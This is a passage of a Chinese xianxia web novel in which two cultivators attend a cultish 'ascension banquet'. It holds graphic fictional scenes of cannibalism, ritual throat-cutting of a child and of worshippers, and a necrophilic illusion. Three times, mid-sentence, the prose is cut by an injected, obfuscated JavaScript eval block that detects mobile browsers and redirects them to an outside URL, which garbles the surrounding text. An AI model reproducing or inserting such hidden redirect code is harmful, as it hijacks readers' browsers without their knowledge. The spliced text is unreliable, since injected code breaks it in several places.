采乌道:“客人,不要着急,你们现在就在升仙宴上,只是两眼看不见、两耳听不着罢了,喝下这杯中酒,就能身临其境,看见真章了。” 说着,她手中不知何时多出了一个托盘,上面不多不少,正好两个鎏金小杯,盛着两杯酒。 亦如空看一眼那杯中酒,又看向采乌,问道:“你怎知,最后到这里的,只有两个人?” 采乌道:“有几个人迈进了这扇门,应空神心中有数。” 翘枝突然插嘴道:“那我呢,还有我呢,怎么没有我的酒?” 采乌对翘枝笑道:“这酒你可喝不得。” 翘枝不服:“为什么?” 采乌真诚道:“我实话实说,你可别生气,因为——你道行不够,这酒你若是喝上一滴,恐怕马上四脚朝天上了天界,到时候,你的主人会伤心的。” 翘枝纵有不满,也不敢拿命去试,闻言只得沮丧道:“这下好了,席肯定也吃不成了,真要饿死在这里了。” 亦如空安慰他道:“待这里结束,离开海上,我自然带你去吃个够。” 采乌接道:“只是肚子饿了,有什么关系,我们这里一点吃食还是有的,稍后给你拿来便是了。” 翘枝一听,这才高兴起来。 采乌将那托盘往前递了一些,催促道:“二位,请吧,莫要耽误了赴宴的时辰。” 亦如空拿起一只鎏金小杯,里面的酒液浓稠漆黑,看起来不像佳酿,更像是毒药。 他将酒杯放到唇边,忽然闻到一股熟悉的味道。 柳玉京已经大叫起来:“你这酒是什么酒,我就这么一闻,起码闻出好几种妖物的气息!” 亦如空也闻出来,这其中,还有先前那赤虚妖蛇的气味。 采乌微笑道:“二位耳聪目明,我也不瞒着你们,大家赴宴之时献上的妖丹,便是这升仙酒的原料。” “你们拿玄妖妖丹酿酒,还管这酒叫——升仙酒?”柳玉京半边脸纠结抽动,露出个难以言喻的表情。 采乌道:“难不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477429|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成客人还怕同类相食?弱肉强食,天经地义,你们能在这里喝上他们的妖丹酒,是你们的本事呀,再说了,这可是大补之物,喝下去增长修为,强身健体。” 说着,她丢开托盘,张开双手,轻盈俏皮地旋了一圈,道:“看看这周围,眼下在你们眼中只是一片空白,但后头可是藏着一片极乐仙境,客人就不想见识见识?” 亦如空没多说什么,忍着恶心将那杯中酒一口咽下。 酒液苦涩粘腻,味道实在令人反胃。 亦如空久不饮食,更是许久未曾体验这种腹内翻腾的感觉,他强行压下那股难受之感,再抬眼时,眼前果然不再是一片空白的虚空,而是一片极尽热闹奢华的盛宴景象。 脚下是画满祥云的地毯,柔软得双脚几乎要陷进地下,长长的矮榻席桌分列两旁,一直延伸到极远的大殿尽头。 桌上美酒佳肴,杯盘狼藉,看来已酒过三巡,无数穿着跟他们一样素色道袍的人坐在长桌后畅饮,并没有人留意到他们几个新进来的。 除了客人,还有许多小童在场中跑来跑去,端盘倒酒,忙前忙后,场面好不热闹。 采乌看见亦如空目光转动,笑道:“怎么样?可看见了?听见了?” 亦如空默认。 柳玉京和翘枝只是看着亦如空,似乎根本看不见其他存在,也听不见那些杯盘交错、丝竹管弦的嘈杂声。 “行,喝就喝,你们的名堂花样,还真是多得要命。”柳玉京见亦如空已经将酒饮下,也不再犹豫,一仰头,喝下了杯中酒。 紧接着,他也看见了亦如空看见的一切,望着眼前突现的场景,一时忡怔。 翘枝急道:“师父,你看见什么了?有筵席吗?有其他人吗?” 亦如空点点头。 翘枝抓耳挠腮,他就在亦如空身上,却什么都看不见。 采乌做了个邀请的手势,微微欠身道:“二位客人,请吧。” 靠近门边的最末位还空着,采乌引着他们落座,自己则穿过那些凌乱的席桌,绕过那些忙忙碌碌奔走的小童,朝着远方的大殿主座方向走去。 亦如空的目光跟着她的背影,一直望向大殿高处,那里有一张硕大的石雕宝座,似乎铺着毛皮软毯,看起来是主人的席位,但上面却空空如也,并没有人入座。 采乌走过去,也只是静静立在那宝座的右侧,默然不动。 眼下她已快要小成一个小点,可见这大殿委实大得吓人,长得吓人。 亦如空想起了冥老的话,要靠近这盛宴主人十步以内,眼下目测这距离,少说也在八十步开外。 大殿穹窿高不见顶,两侧的高墙上全是壁画,画着仙山浮岛,祥云仙人,而那些仙人,衣着与他们这些客人一模一样,竟似乎还在画中活动。 有的仙人在云中飞行,有的卧在云上朝下看,有的乘着轿子浮在空中,还有的在云上击鼓拨弦奏乐,亦如空此刻听到的乐声,原来不是有人在大殿席中演奏,而是从这壁画中传来的。 画中的仙人遍布各处,密密麻麻,恐有数千之多。 亦如空心中思量,难不成答叵是用这画骨神笔,画出了一片仙境?正如先前那幅山水画一般…… 正想着,一边的柳玉京突然拍了拍亦如空的手背,亦如空立刻移开右手,没让他拍到第二下。 柳玉京动作一顿,此刻倒也顾不上计较,指了指场中,示意亦如空去看:“这盛宴的主人,好像上场了。” 18.答叵 亦如空猜想过答叵的样子,想过他或许高大健壮,身长八尺,亦或是矮小敦厚,苍老孱弱。 但从来没有想过,他会是这副模样。 几个小童抬着一张小小的担架,担架上是个体型短小的人,乍看还以为是另一个孩子,仔细去看,才发现那竟然是个四肢皆无的人彘。 小童们手脚不够灵活,将那人搬上宝座上时,甚至还将他摔了个跟头。 采乌走过去,将他细心地扶好,围上毯子遮住身躯,只露出一个脑袋。 亦如空看不清那张脸的样子,眼下距离实在太远,但这画面已经足够诡异,可座下其他人却似乎见怪不怪。 众人见主人到场,齐齐起身,向着高台宝座上的宴会主人举杯。 亦如空和柳玉京无法,只得跟上。 “恭贺仙士再获进境,登仙大计,指日可待!” “祝愿仙士早日完成升仙图,开辟一方仙界……” 众人举杯敬酒,你一言我一语祝贺起来。 采乌在宝座前方搭上一块桌板,酒杯放在桌板上,再放上一根芦秆样的长管,一头浸在酒液里,一头放在答叵的嘴边。 “大家不必客套,都落座吧。”答叵身体残缺至此,但嗓音却是洪亮无比,他一说话,雄浑的声音在大殿中回荡,久久方散。 “没想到这盛宴主人竟是这副鬼样子,难不成,他也是被天雷给劈的?那可比我惨多了。” 柳玉京先是惊讶,旋即露出戏谑的表情,幸灾乐祸地小声道:“成了这副样子,还有什么活头,竟然还敢叫这么多人来,在众人面前抛头露面,换做是我,不如死了。” 柳玉京的挖苦并没有被其他人听见,因为场中已再次热闹喧嚷起来,众人面带喜色,推杯换盏,仿佛身处一场喜宴。 翘枝好奇道:“什么样子?难不成他满身是疤?奇丑无比?” 柳玉京道:“你还是感谢自己看不到吧,小耗子。” “死蛇妖,不许这么叫我!” 亦如空无视翘枝和柳玉京的拌嘴,心下暗忖:难怪那么重要的一支神笔,他会交给那小姑娘保管,因为他自己连手都没有,要那笔又有何用? 奇怪的是,这答叵四肢皆无,连行动能力都没有,看起来并无威胁,冥老为何对他如此忌惮? 正想着,答叵的声音又响起来,回荡在大殿之中:“好肉好菜,怎么还不给客人上齐?” 小童们齐声应答,一连串奔到殿侧,从那壁画下端出一盘盘“佳肴”,流水般分发到各桌。 亦如空和柳玉京这一桌自然也不例外,转眼之间,小童便已端来三盘肉菜,摆在他们桌上。 第一盘是一只烤得通红的大螃蟹,第二盘是看不出种类的肉块,上头淋了些黑漆漆的酱汁。还有一盘,是只皮开肉绽的三眼蟾蜍,三只眼睛,都死不瞑目地瞪着。 看清这几盘菜的样子,亦如空的眉头已皱了起来。 柳玉京半边脸上也露出几分嫌恶:“这都是些什么玩意,看着真倒胃口,弄成这样,还不如搞点活物让我生吞呢。” 翘枝看不到也嗅不着,耸着鼻子道:“什么菜什么菜,怎样的菜?” 采乌唤了一个小童到身边,指了指亦如空这桌,耳语几句,不多时,小童便端上来一碟花生,摆到亦如空面前。 小童放下碟子后,又从怀中掏出个小瓷瓶,也不知在这碟花生上洒了些什么,总之洒过之后,这碟花生在亦如空和柳玉京眼中没什么变化,在翘枝眼里,这碟花生却如同从虚空中突现出来,孤零零悬在那里。 总算有一样看得见的食物,翘枝管不了那么多,赶忙扑上去,抓起一颗,剥壳下肚。 翘枝一边嚼一边嘟囔:“这偌大的地方,听起来盛大的宴席,我却只看得见一盘花生,着实寒酸了。” 柳玉京道:“知足吧,你要是知道我们眼前有什么菜,恐怕连这几粒花生都吃不下了。” 翘枝闻言,再看一眼亦如空不甚好看的面色,好奇道:“究竟是什么样的菜?难不成,这里的厨子水平很差?” 柳玉京道:“简直可以说没有厨子,恐怕只是差那帮小孩儿将这些妖兽尸体扔到火里随便烤了一烤,就这么当菜肴端上来了,色香味样样都无。” 翘枝诧异道:“妖兽?他们吃的竟是妖兽的肉?” 亦如空道:“这盘子里的小妖,你也曾见过的,在来时的船上。” “啊!”翘枝惊叫起来,“那一船的小妖,竟是拿来……” 亦如空道:“……当时我见有一种火焰,烧过之后,转瞬便让船上那些昏睡的人皮肉尽去,原本以为是被那火烧去了,没想到是送来这里做成了菜。” “竟是用来传送的火焰……”柳玉京若有所思道,“如此说来,那中间这个盘子里的肉块,岂不是——” 亦如空看向那炙烤得焦黑流油的肉块,胸中又泛起几分饮下“升仙酒”时的翻涌之感。 又上过几轮菜,仍然是差不多的囫囵妖兽,或者奇怪的肉块,只是所淋的酱汁不同。 现下他们已能确定,这确实是人肉无疑,因为此刻,他们眼前的桌面上,已多了一条皮肉焦脆的去骨人小腿。 菜色样子可怖,气味也不好闻,但其他桌的客人一个个举杯畅饮,大快朵颐,全无不适之感。 坐在亦如空旁边的大胡子男人,见亦如空迟迟不动杯筷,还热情地招呼他一起吃喝,亦如空好不容易才避开对方那满是油污的手掌。 待到菜都上齐了,答叵清清嗓子,全场又寂静下来,等他说话。 答叵道:“我请各位到这里来,也不尽是为了喝酒吃肉的,主要是想告诉各位,我的升仙图……不,是我们的升仙图,今日,便要彻底完工了。” 殿中响起一阵欢呼赞叹声,答叵满意地笑了笑,对着座下一白发老者道:“谭上人,你的人可在这海上了?” 那老者从案桌旁站起来,回答道:“三艘大船,好几百号人,都在船上等着。” 答叵又去问另一个精壮汉子:“安式国,你的弟子可安排好了?” 精壮汉子道:“都已经按照您的吩咐,等在震岛西岸。” 答叵又问过几个人,犹如将军点兵一般,确认众人的手下弟子皆已到位。 细细问完之后,答叵点着头,欣喜道:“好、好、好……我以震岛附近的海域为阵眼,布局多年,今朝只差三千魂魄,便能开启升仙大阵,助在场诸位升入仙境,届时这壁画中的内容,就不再是画了,而是诸位从今往后的灵山仙府。” “诸位,尽情畅饮吧,过了今日,你们便再也吃不到这凡间的酒菜了,而是……只能享受仙界的琼浆玉露。” 众人听了答叵这番话,皆兴奋无比,大殿之中一时气氛高涨。 “除了最后那一桌的朋友,其他都是老熟人了,大家随意便是。”答叵的目光竟似乎能望见最末位,他向着亦如空他们所在的方向,高声道,“那两位朋友,为何坐得那般远?快上前来,靠近一些,好让我看得分明。” 得了他的吩咐,采乌安排几个小童过来,将亦如空和柳玉京引到最前方的席桌。 亦如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489976|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空一路走上前,见众人沉迷颠倒,如在梦中,但却也不似完全失了神智。 他对上一人的目光,那人痴笑着朝他掷出一个酒壶,亦如空抬手接住,柳玉京在前面一晃,衣袖一展,将溅向亦如空脸庞的酒液拦下。 柳玉京朝他嘻嘻一笑:“我的脸蛋儿,可得护好了。” 亦如空无语,瞥他一眼,将酒壶丢在他身上。 换完位置后,虽已在座下最首,但距离答叵的宝座仍有二十步之远。宝座前方二十步以内,并无席桌,亦如空将这个细节看在眼中,面上不表。 不过到了此处,亦如空已经将答叵的样子看得分明了一些。 只见他留着长须,梳着道髻,须发飘然,单看脸,按人的年岁来算,约摸只有五十来岁,脸上红光满面,若是不去看他的身体,全然看不出是残疾之躯。 亦如空又看向答叵身边的采乌,她安安静静地站在那里,面色平静,犹如置身事外。 答叵道:“采乌,不必在我这里立着了,下去照顾两位新朋友吧。” 采乌垂首答是,走到亦如空桌边来,为他和柳玉京斟酒。 “看两位仪表堂堂,气度不凡,必定修为了得,也难怪能成为唯二通过考验入席的。”答叵居高临下,远远打量着他们。 柳玉京道:“若不是这个小丫头手快,削了两颗脑袋,我们这一桌本来能坐四个人,我也不用一直对着我旁边这个家伙了……你别光看他长得漂亮,其实说话气人得很。” 采乌并不说话,只是默默斟酒。 “看来二位之间早就相识,能一起来到我这海上寂寞之地,真是缘分。”答叵哈哈大笑,“我这采乌做事一向周到,她若砍了那两人的脑袋,那一定是那两人做了错事,与我们没有仙缘了。” 答叵说完,目光在亦如空身上转了几圈,高声道:“各位举杯,敬我们的新朋友,今日来了这样的神仙人物,我这里当真是蓬荜生辉。” “你这里可不是什么蓬门荜户,”亦如空看了看面前采乌斟满的酒,淡淡道,“看这四周仙山环绕,仙人列布,难道不是仙宫所在么?” 柳玉京想要用胳膊捅一捅亦如空,却再次被轻巧避开,只得讪讪道:“没想到你还挺会拍马……说话的么……” 答叵笑了笑,道:“小友能排除万难来到这里,定是也一样向往那极乐仙境,待到酒足饭饱后,我自会让大家一同进那仙境徜徉。” “不过……”答叵语气一转,目光突然锐利起来,沉声道:“我要先告诉列位一个糟糕的消息,我最信任的爱徒邱公裕,加之他的几十名弟子,在前来赴宴的途中,被人杀害了,他手中的秘宝,也已落入那杀人凶手的手中。” 底下响起一阵惊呼议论声,答叵的目光始终放在亦如空身上,待众人的喧哗声平息一些后,他才继续道:“而且,那杀人凶手,今日也来了我的升仙宴,此刻正和诸位坐在一起。” 大殿之中众人面面相觑,交头接耳,越来越多的目光聚在亦如空身上。 亦如空被众人注视着,只是笑了笑,目光平静地看向答叵。 “真是你做的?”柳玉京也看向亦如空,挑了挑眉毛,道,“原来你的法宝是这么得来的,真看不出来,你还能干出这杀人夺宝的事。” 翘枝听到柳玉京的话,立刻道:“才不是呢!是那些人想先对师父下手,结果神器认主,不愿刺伤师父,暴发失控,杀了那些坏人,这些我可是亲眼所见。” “哦……”柳玉京打量着亦如空,勾着嘴角笑眯眯道,“那就要看主人家信不信了。” 19.升仙盛宴 喧嚷声中,答叵悠悠道:“各位稍安勿躁,事已至此,也无办法,这位小友若是能拿出忘尘椎,为我的升仙大阵护法助阵,那这件事,我们便不计较了。” 亦如空的浅笑依旧挂在嘴角,淡淡道:“所谓护法助阵,是要我将这些人——”他的目光一一扫过场中众人,像看一群无药可救的疯子,却并不关心这些疯子的命运,“将他们等在附近海上的弟子门人,尽数残杀,是不是?” 答叵连忙道:“不不不,如何是残杀呢?待我这阵眼一开,阵中离魂者,都会随我等一起进入仙界,到时候,他们都会感念小友的恩德。” 亦如空道:“若是我不答应呢?” 不等答叵说话,先前回话的那大汉安式国已指着亦如空怒道:“莫要不知好歹,你且看看你是在谁的地盘上!已入阵中,你以为你还能全身而退吗?” 亦如空道:“能不能全身而退,我现在还不知道,但稍后可以试试。” 柳玉京一副看热闹的架势,嘴上却假惺惺劝道:“哎哎,怎么就吵上了,大家能不能先收收脾气,来这一趟也不容易,我还想看看这升仙大阵开启时是什么壮观景象呢。” 答叵却只是深深地看着亦如空,看了许久,突然叹了一口气:“唉,若是如此,那也勉强不得,我便只能差我那些门人弟子去办这事了,我有诸多办法,事情总归能成,而你,可能就再也无法离开这片海上了。” 亦如空道:“我也好奇这升仙阵是何场面,不如先看过再说,或许我看了实在喜欢,又改变主意呢?” 答叵笑道:“好,那便先看看,今日,仙人图只差一点,便要彻底完成了,我特意将这一刻留着,与在座诸位同赏。” 说完,答叵唤采乌道,“去,执笔,取墨,为我完成仙人图的最后一笔。” 采乌就在亦如空身边。 亦如空发现,从答叵进了这大殿之后,采乌的脸上便没了笑容,她只是一味地低垂着眼睫,木然地听从着答叵的安排,而此刻,她竟然在发抖。 见她一时未动,答叵催促道:“犹豫什么?赶紧取墨,这回就取——海梅的吧。” 场中一个绿衣小女孩正在给客人倒酒,听见答叵这话,一下子跪在地上,扔了酒壶,捂着眼睛哭起来。 采乌牙关紧咬,两手紧紧攥着,看得出对于答叵安排的这件事,她很不情愿,但却又不得不做。 她缓缓站起身来,似乎站立不稳,在亦如空身上撑了一下。 亦如空托住她,采乌借力重新稳住身形,深吸一口气,朝着那哭泣的小童走去。 “采乌姐姐,我刚才不是故意的,我没扶稳主人,你罚我关小牢房,好几天不给吃喝都行,饶了我这一次吧……” 小女孩的哭声听来无比可怜,亦如空眉头微蹙,但在场其余人并无反应,大家都看着采乌,等着她取墨画图,等着见证仙人图完成的那一刻。 采乌看着哭泣着央求自己的海梅,迟迟没有动作,答叵唤了一声她的名字,她却忽然如同被控制住心神一般,将笔一挥,毫不留情地割断了那孩童的脖颈。 那孩子瞬间倒地,竟变成一条墨黑的鱼,在地毯上挣扎几下,没了动静。 有另一孩童奔过来,捧上一只小碟,采乌以指为刀,将那墨色鱼儿的心脏剜出,将心头黑血挤入碟中。 接着,她捧起墨碟走到壁画边,掀开靠近答叵宝座那一角的布帘。 那布帘后的部分,原来画着一只正要腾飞的瑞兽,与那巨门上的浮雕样子一般无二,正是应空神兽的画像。 采乌执笔蘸取那墨色的血液,为应空点睛。 一笔点完,那静止的瑞兽忽而在壁画中游动起来,穿云拨雾,灵动如生。 那画中神兽游走如虹,转瞬之间便在大殿四面穿行一周,众人目光紧随,啧啧称奇,赞叹不停,场中气氛一时间推上顶峰。 另一边,采乌却仿佛卸去了全部力气,只看着手上的黑血,发起呆来。 亦如空突然开口,语气平静道:“这画的,似乎不对。” 他清冽的声音不大,却正正好能压过一切嘈杂,让所有人听见。 一时间,所有不善的目光再次汇聚到他的身上,连一直发呆的采乌都看了过来。 答叵闻言,却似乎并不生气,而是面带笑容道:“哪里不对?” “不像。” “你说不像,那么你觉得,应空该是什么样子?” “至少不是这般,用血画出来的嗜血凶兽。” 答叵大笑起来:“你又如何知道呢?难道,你亲眼见过神明?” 亦如空没有说话,答叵于是状似宽容地笑了笑,不再逼问,而是同其他人一起,继续欣赏那画中游走的神兽。 柳玉京道:“瞧瞧,说不上来了吧?这种时候,看热闹就是了,你说这驳人面子的话又是何必。” 亦如空无心理会,他开始想别的事情。 他抬眼,看了看自己和答叵之间的距离,二十步而已,对他而言,想要快速靠近,似乎很容易,他又去探袖中冥老给他的盒子,冥老那般恨答叵,他给的东西,或许有用。 正想着,这时柳玉京却突然横插一脚,动作快如鬼魅,两指探入他袖中,将那小盒抢了过去。 亦如空面色一冷,沉声道:“给我。” 柳玉京没正形道:“别生气,我就是看看,到底什么东西让你这般宝贝,时不时就要确认一下。” 在亦如空手中的雄黄挥到柳玉京脸上之前,柳玉京已将那小盒打开,却露出个疑惑的表情:“空的?这什么都没有嘛,你宝贝什么……” 空的? 亦如空拿回盒子,里面的确空空如也,那一盘黑线已经消失无踪。 难道……亦如空看向采乌,是了,定然是她,自己先前元神出窍,进入画中之时,她要想从自己身上拿走些什么,简直轻而易举。 亦如空将那空盒扔在桌上,手臂一动,一个小小的红色瓷瓶突然从他左臂衣袖间滑落,掉在厚厚的地毯上,没有发出一丝声音。 亦如空记得这瓷瓶的样子,与先前小童往翘枝那盘花生上泼洒时用的一样。 他看了远处的采乌一眼,不动声色地将小瓶握在手里,隐于袖中。 众人欣赏着应空神兽腾空飞舞的英姿,又过了片刻,壁画中传来的乐声突然变了节奏,悠扬的弦声已不见,只有沉闷的鼓点和号角声。 画中的应空神兽也不再腾云起舞,而是静静停在云上,俯首看着大殿中将要发生的一切。 答叵高声唤道:“时辰到了,采乌,执笔,去!” 采乌拿着那只画骨神笔,回到了大殿之中。 答叵的声音在大殿中响彻:“各位,请登仙界。” 殿中众人闻言,不再饮酒,也不再闲话,而是纷纷跪直了身体,双手相抵,仰面朝天,伸长了脖颈,脸上带着笑意,犹如等待神明赐福的信徒。 采乌走到为首的谭上人面前,停住脚步。 采乌道:“神灵赐福,早登仙界。” 谭上人也满脸幸福地重复道:“神灵赐福,早登仙界。” 柳玉京看得云里雾里:“他们这又是发什么癔症?她要做什么?” 亦如空看着采乌的动作,他原以为,她要在众人的额上画上符文,让其元神进入画中,谁知,那娇小的少女将笔杆在手中转了个方向,用持刀的手势持笔,朝着谭上人仰起的脖颈狠狠一挥。 那段苍老的脖颈瞬间被拉开一道巨大的豁口,鲜血喷涌而出,转眼将他身上素白的道袍染红,又喷溅到桌案上、采乌的衣裙上。 生命随着鲜血流逝,谭上人却还是保持着原来的姿势,连脸上的笑意都没有变过。 这一着惊到了柳玉京,亦如空也变了脸色,但全场其他人,竟无一动容,他们依旧静静跪立着,等待着少女用神笔将自己的灵魂带入仙境。 而答叵只是窝在他宝座的软毯里,饶有兴趣地看着这一切。 翘枝虽看不见发生了什么,但却能感受到亦如空此刻的紧张,这叫它也跟着紧张起来,也不敢再插嘴多问,只默默滑下去,躲进亦如空袖中。 采乌甩了甩手上的鲜血,取了帕子,细心将笔擦拭干净,停在第二个人身前,再次道:“神灵赐福,早登仙界。” 血腥味有些刺鼻了,亦如空厌烦这气味,他已不想再看,于是站起身来。 其他人无动于衷,只有答叵看向他:“怎么?这场面,你不喜欢么?我以为,你会喜欢的。” 亦如空根本不管他在说什么,只一甩手,忘尘椎笔直朝着答叵的方向飞去。 这点距离算什么,忘尘椎顷刻便至,然而,情况却并非亦如空所想。忘尘椎强势而去,眼看必将洞穿宝座上那残缺的身躯,可谁料,它竟在半途中瞬间没了踪影,凭空消失了。 答叵微笑地看着亦如空,仿佛上一刻什么都没有发生。 见此情形,亦如空心头一惊,一展衣袖,将翘枝丢给柳玉京,无视柳玉京的叫喊声,飞身向前。 采乌看过来,大叫道:“不!” 但是已然来不及,亦如空身形如风,已冲向答叵的宝座,然而刚靠近不到五步的距离,就在忘尘椎刚才消失的位置,他突然眼前一白,已看不见答叵的宝座,同样,也看不见宝座上的答叵。 他骤然失去了目标,回首看,其他人皆已无影无踪,自己如同撞破了一层看不见的墙,转瞬进入了另一片虚空。 忘尘椎正在这片虚空中乱转,见亦如空也撞进来,这才有了归属,重新回到他腕上。 怎会如此?亦如空环视一圈,心中泛起种种猜想,难道……是因为距离? 在靠近答叵二十步以内的范围,或许设有某种禁制,除了采乌和那些孩童,其他人贸然闯入,都会跌入幻境的裂隙之中。 若是如此,难怪冥老会强调十步之内,要靠近他十步之内,还真不是一件容易的事。 亦如空向着来时的方向退去,无用,向前进,依然无用,这片空白的空间似乎有无穷大,将他困于其中。 亦如空想起了采乌悄悄留下的小瓷瓶,将其掏出来,拨开瓶塞,试探着朝前一洒,白雾果然出现一个破口。 他立刻朝着那破口冲去,然而突破之后,却依然没有回到先前的大殿之中,而是进入了另一个空间,一座香火袅袅,挂满帷幔的庙宇。 庙宇正中供奉着一尊高大的神像,那神像何其眼熟,亦如空已看得分明,它的样子跟大殿那扇巨门上的一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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石像坚硬无魂,他却像是捧着美人娇柔的脸蛋一般迷醉,隔着那赤红纱幔,颤抖着,用每一个指腹去摩挲,甚至将自己的脸也贴上去触碰,嘴里还自言自语道:“我终于想到了,终于想到了,你该是什么样子……” 亦如空简直像看见了普天之下最离奇怪诞的事情,他胸中涌起一阵阵反胃,眉头越皱越深。 答叵用最轻柔的动作摘下那纱幔,露出石像的脸,那张脸果然是空白的。 接着,答叵从怀中掏出那只画骨神笔,在石像空白的脸上细细描画,他将要画上的,是亦如空的脸。 他那副痴狂的样子让亦如空一阵恶寒,再也无法忍受,忘尘椎脱手而出,再次袭去。 这一次,答叵没有躲开,然而,忘尘椎也并没有伤到他,而是直接穿身而过。 霎那间,一切静止、变慢,答叵和他正在描画的神像,都变成了纱幔上的一幅画,在风中轻飘飘浮动。 亦如空向着忘尘椎飞出的方向追上去,一头撞开那层层纱幔,撞进了又一重幻境之中。 这里,似乎是一方寝殿,烛火昏昏,粗喘声阵阵,亦如空绕过那高大的雕花床柱,看见了世上最恶心的景象—— 答叵赤着身体,筋肉隆起,浑身是汗,正紧紧拥着一具无头的尸体,那尸体空荡的脖颈上方,摆着一颗石像的头颅,看起来正是先前那神像上切割下来的,那头颅,雕刻着一张跟亦如空一模一样的脸。 答叵像哭泣般喘息着,忽而又撒手丢开那尸体,恐惧般后退几步,抱着脑袋崩溃不已。 “我在做什么,我竟做了这等事,神呐,我……我该如何赎我的罪……” 答叵癫狂地念叨着,忽而暴起,从床榻下抽出一柄利剑,斩断了自己的一条胳膊。 “如此,能抵消些我的罪过么?” 亦如空从未如此强烈地厌弃过什么,或者说,恶心过什么,但这个幻境里的答叵,实在是击破了他的底线。 他一脚踹翻捂着断臂伤处哀嚎的答叵,手一展,卷起掉落在榻边的利刃,将答叵的另一条胳膊也砍了下来。 答叵原本哀嚎着,忽而却又闭上嘴,眼睛死死钉在亦如空身上。 “我这幻境,你喜欢么?它能放大人的一切负面感知,一切丑恶,一切贪、嗔、痴、欲、厌。” 答叵的声音在说话,但说话的,却不是亦如空脚下这个答叵,那声音更加冷静清晰,也更为苍老空洞。 亦如空丢下染血的利剑,挑开床帘,背后却是一方清泉洞府。 石笋林立,泉水叮咚,清池中盛开着金莲朵朵,一束阳光从高处射入,正照耀在最高大的一座石笋顶上,那里盛开着一朵硕大的金莲。 而身着素白纱衣的答叵,正盘腿坐在这金莲之上。 他梳着道髻,长须飘飘,背靠金光,仿佛真是得道仙人,正微笑地看着亦如空。 亦如空飞身而上,忘尘椎抵住答叵的侧颈。 答叵依然平静地微笑着:“终于见到你了,我已等了许多年,我知道,你会来。” 亦如空蹙起了眉头,进了这幻境之后,他的眉头似乎就没有舒展过。 答叵看了看亦如空手中的忘尘椎,面带微笑,轻声道:“动手吧,杀了我,死在你的手里,我的升仙阵,才算真正完成。” 亦如空冷冷道:“你知道我是谁?” 答叵道:“我知道,从很早开始,就知道,我用天底下最残酷的刑罚折磨自己,濒死之际,终于得到一丝与天地的感应,也是那时候,我知道了你仍在世间,知道了你会来这里,会在五洲历一千三百年春分这天,取走我的性命,助我升仙。” 20.神明渡我 这一刻,亦如空简直不知道该露出怎样的表情。 良久之后,他却只是笑了。 他移开忘尘椎的尖刺,后退几步,看着金光中那个看似仙风道骨的伪神,许久不曾这样笑过。 答叵仰望着他的笑脸,痴癫般道:“我倒是从来不曾幻想过你这个样子,我的……神明……” 他整个身躯往前一扑,从那朵巨大的金莲上匍匐爬下,一路爬到亦如空的脚边,捧住他的足踝,深深亲吻他的脚背。 亦如空渐渐敛了笑色,睨着答叵,真如那幻境中的神像般无情:“久不在这世间,竟不知世人已癫狂至此。” 答叵仰面看他:“世人见了真神降世,恐怕只会比我更疯狂,可他们不会知道的,在这里,只是我,只有我一人能见神明亲临……” 说着,他再次深深埋下头颅。 看着匍匐在自己脚下的“信徒”,亦如空再次对“人”有了新的认知。 他抬脚将答叵踢开:“谁是你的神明,世人所谓的神是什么,恐怕只是摆在香案上拜的虚影,你的神又是什么,只是拿来狎昵轻慢的石塑?” “不、不……我不慎对神做的错事,已断手断脚偿还,我做的一切,只为求再见神明一面……” “你苦心经营的所谓‘升仙’,也是为此?” “是……”答叵爬起来,跪在亦如空脚边,并了二指,指着头顶道,“我知道这个天道无法突破,但如何开拓一方自己的秘境,我却有所感悟,这都要感谢你,是你的力量让我拥有了眼下这一切,现在我只需要最后一步,便能脱离尘世苦海,永生在那仙人图中的极乐之境,只求神明再渡我一次。” 他这升仙极乐的慷慨陈词,亦如空已听得够了。 可转念一想,他还有几个问题想要问这答叵。 “可叹那些人竟会那般信你,只为你这升仙的无稽之谈,连命都可以不要。你那仙人图中的仙境,不过是用笔画出来的又一片幻境罢了,跟在此处又有何分别?” 答叵道:“幻境只是幻觉,是虚影,而神笔破出的世界,是真实存在的,不过是在另一个层面……就跟那天道之外的虚空一样——所谓升仙,不就是从肉身所在的世界去往另一片虚空吗?” 虽然亦如空觉得这答叵口中俱是歪理,但画骨神笔这破出另一片虚空的能力,却是引起了他的注意。 答叵继续讲述,仿佛在炫耀自己的得意之作,加之一想到正在倾听他的是谁,他就兴奋得颤抖—— “你已进入过一幅画中,亲眼目睹过,不是么?要打造那样一副画中秘境,本不容易,画骨神笔再厉害,也只能破出虚空,往里面画上些死物,最多山水草木,像人类、鸟兽,却不得行……而那样一片死寂之境,能算是仙境吗?我去往那样一个地方,又有什么意义?” 答叵残酷一笑道:“只有人的灵魂进入其中,才能带给画中秘境带去生机。” 亦如空闻言,眸中一凛,明白了他的意思。 明明充斥着死亡与鲜血,带来的却是生机吗? “所以,你便创此邪魔异教,用你的歪理邪说,让更多人心甘情愿献出性命,只为了替你补全你的所谓仙境。” 答叵道:“如何是邪魔异教呢?我们信仰供奉的,可是你呀。” 亦如空已懒得跟他计较,只接着道:“那山水图中的一家……也是被困于其中的灵魂,对么?” “是,他们确是人魂所化,原本不过是群普通凡人,生老病死短短数十年,一生卑微庸碌有如蝼蚁,最后能消散于你的手中,那是何等的福祉!我虽用他们的性命试验,却也给了他们最好的结局。” 